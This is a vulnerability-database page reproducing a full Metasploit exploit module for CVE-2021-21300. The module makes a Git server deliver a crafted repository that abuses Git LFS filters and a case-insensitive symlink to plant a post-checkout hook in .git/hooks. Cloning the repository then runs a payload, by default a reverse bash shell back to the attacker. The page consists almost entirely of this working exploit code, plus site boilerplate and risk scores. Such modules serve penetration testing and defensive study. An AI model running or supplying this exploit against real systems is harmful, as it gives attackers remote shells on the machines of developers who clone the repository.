Lucene search
K

Git LFS Clone Command Execution

🗓️ 31 Aug 2021 00:00:00Reported by Shelby PaceType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 210 Views

Git LFS Clone Command Exec - Vulnerable to remote code execution during repository cloning. Clean/smudge filters with symbolic links on case-insensitive file systems lead to Git hook placement in `.git/hooks` for automatic payload execution

Related
Code
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Git  
include Msf::Exploit::Git::SmartHttp  
include Msf::Exploit::Git::Lfs  
include Msf::Exploit::Remote::HttpServer  
include Msf::Exploit::FileDropper  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Git LFS Clone Command Exec',  
'Description' => %q{  
Git clients that support delay-capable clean / smudge  
filters and symbolic links on case-insensitive file systems are  
vulnerable to remote code execution while cloning a repository.  
  
Usage of clean / smudge filters through Git LFS and a  
case-insensitive file system changes the checkout order  
of repository files which enables the placement of a Git hook  
in the `.git/hooks` directory. By default, this module writes  
a `post-checkout` script so that the payload will automatically  
be executed upon checkout of the repository.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'Johannes Schindelin', # Discovery  
'Matheus Tavares', # Discovery  
'Shelby Pace' # Metasploit module  
],  
'References' => [  
[ 'CVE', '2021-21300' ],  
[ 'URL', 'https://seclists.org/fulldisclosure/2021/Apr/60' ],  
[ 'URL', 'https://twitter.com/Foone/status/1369500506469527552?s=20' ]  
],  
'DisclosureDate' => '2021-04-26',  
'Platform' => [ 'unix' ],  
'Arch' => ARCH_CMD,  
'Targets' => [  
[  
'Git for MacOS, Windows',  
{  
'Platform' => [ 'unix' ],  
'Arch' => ARCH_CMD,  
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' }  
}  
]  
],  
'DefaultTarget' => 0,  
'Notes' => {  
'Stability' => [ CRASH_SAFE ],  
'Reliability' => [ REPEATABLE_SESSION ],  
'SideEffects' => [ ARTIFACTS_ON_DISK, SCREEN_EFFECTS ]  
}  
)  
)  
  
register_options(  
[  
OptString.new('GIT_URI', [ false, 'The URI to use as the malicious Git instance (empty for random)', '' ])  
]  
)  
  
deregister_options('RHOSTS', 'RPORT')  
end  
  
def exploit  
setup_repo_structure  
super  
end  
  
def setup_repo_structure  
link_content = '.git/hooks'  
link_name = Rex::Text.rand_text_alpha(8..12).downcase  
link_obj = GitObject.build_blob_object(link_content)  
  
dir_name = link_name.upcase  
git_attr = '.gitattributes'  
  
git_hook = 'post-checkout'  
@hook_payload = "#!/bin/sh\n#{payload.encoded}"  
ptr_file = generate_pointer_file(@hook_payload)  
  
# need to initially send the pointer file  
# then send the actual object when Git LFS requests it  
git_hook_ptr = GitObject.build_blob_object(ptr_file)  
  
git_attr_content = "#{dir_name}/#{git_hook} filter=lfs diff=lfs merge=lfs"  
git_attr_obj = GitObject.build_blob_object(git_attr_content)  
  
sub_file_content = Rex::Text.rand_text_alpha(0..150)  
sub_file_name = Rex::Text.rand_text_alpha(8..12)  
sub_file_obj = GitObject.build_blob_object(sub_file_content)  
  
register_dir_for_cleanup('.git')  
register_files_for_cleanup(git_attr, link_name)  
  
# create subdirectory which holds payload  
sub_tree =  
[  
{  
mode: '100644',  
file_name: sub_file_name,  
sha1: sub_file_obj.sha1  
},  
{  
mode: '100755',  
file_name: git_hook,  
sha1: git_hook_ptr.sha1  
}  
]  
  
sub_tree_obj = GitObject.build_tree_object(sub_tree)  
  
# root of repository  
tree_ent =  
[  
{  
mode: '100644',  
file_name: git_attr,  
sha1: git_attr_obj.sha1  
},  
{  
mode: '040000',  
file_name: dir_name,  
sha1: sub_tree_obj.sha1  
},  
{  
mode: '120000',  
file_name: link_name,  
sha1: link_obj.sha1  
}  
]  
tree_obj = GitObject.build_tree_object(tree_ent)  
commit = GitObject.build_commit_object(tree_sha1: tree_obj.sha1)  
  
@git_objs =  
[  
commit, tree_obj, sub_tree_obj,  
sub_file_obj, git_attr_obj, git_hook_ptr,  
link_obj  
]  
  
@refs =  
{  
'HEAD' => 'refs/heads/master',  
'refs/heads/master' => commit.sha1  
}  
end  
  
def create_git_uri  
"/#{Faker::App.name.downcase}.git".gsub(' ', '-')  
end  
  
def primer  
@git_repo_uri = datastore['GIT_URI'].empty? ? create_git_uri : datastore['GIT_URI']  
@git_addr = URI.parse(get_uri).merge(@git_repo_uri)  
print_status("Git repository to clone: #{@git_addr}")  
hardcoded_uripath(@git_repo_uri)  
hardcoded_uripath("/#{Digest::SHA256.hexdigest(@hook_payload)}")  
end  
  
def on_request_uri(cli, req)  
if req.uri.include?('git-upload-pack')  
request = Msf::Exploit::Git::SmartHttp::Request.parse_raw_request(req)  
case request.type  
when 'ref-discovery'  
response = send_refs(request)  
when 'upload-pack'  
response = send_requested_objs(request)  
else  
fail_with(Failure::UnexpectedReply, 'Git client did not send a valid request')  
end  
else  
response = handle_lfs_objects(req)  
unless response.code == 200  
cli.send_response(response)  
fail_with(Failure::UnexpectedReply, 'Failed to respond to Git client\'s LFS request')  
end  
end  
  
cli.send_response(response)  
end  
  
def send_refs(req)  
fail_with(Failure::UnexpectedReply, 'Git client did not perform a clone') unless req.service == 'git-upload-pack'  
  
response = get_ref_discovery_response(req, @refs)  
fail_with(Failure::UnexpectedReply, 'Failed to build a proper response to the ref discovery request') unless response  
  
response  
end  
  
def send_requested_objs(req)  
upload_pack_resp = get_upload_pack_response(req, @git_objs)  
unless upload_pack_resp  
fail_with(Failure::UnexpectedReply, 'Could not generate upload-pack response')  
end  
  
upload_pack_resp  
end  
  
def handle_lfs_objects(req)  
git_hook_obj = GitObject.build_blob_object(@hook_payload)  
  
case req.method  
when 'POST'  
print_status('Sending payload data...')  
response = get_batch_response(req, @git_addr, git_hook_obj)  
fail_with(Failure::UnexpectedReply, 'Client request was invalid') unless response  
when 'GET'  
print_status('Sending LFS object...')  
response = get_requested_obj_response(req, git_hook_obj)  
fail_with(Failure::UnexpectedReply, 'Client sent invalid request') unless response  
else  
fail_with(Failure::UnexpectedReply, 'Unable to handle client\'s request')  
end  
  
response  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

31 Aug 2021 00:00Current
0.1Low risk
Vulners AI Score0.1
CVSS 25.1
CVSS 3.17.5 - 8
EPSS0.61881
210